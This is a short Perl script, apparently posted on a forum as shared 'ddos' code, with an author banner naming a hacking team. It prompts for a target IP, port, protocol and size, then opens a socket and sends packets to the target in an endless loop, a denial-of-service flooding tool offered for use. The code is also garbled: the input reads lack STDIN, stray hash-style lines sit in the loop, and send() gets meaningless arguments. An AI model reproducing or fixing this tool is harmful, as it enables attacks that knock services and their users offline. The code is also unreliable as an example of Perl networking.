Share code ddos Double
#!/usr/bin/perl
print q{
=================================================
= =
= Coded By =
= =
= Jo3-GHT =
= =
= Team TDF E IDLR =
= =
= Linuxerostdf.jimdo.com =
= =
=================================================
};
use IO::Socket::INET;
print "IP: -> ";
chop ($host = );
print "PORT: -> ";
chop ($port = );
print "protocol TCP / UDP: -> ";
chop ($protocol = );
print "SIZE: -> ";
chop ($size = );
{
$sock = IO::Socket::INET->new (
PeerAddr => $host,
PeerPort => $port,
Proto => $protocol)
|| die "the IP or PORT is incorrect, please check the IP and PORT";
}
packets:
while (1) {
size => $size;
$Reuse => 1,
$Listen => 1,
print ("$host:$port packet size: $size\n");
send($sock, $size, $Reuse, $Listen);
}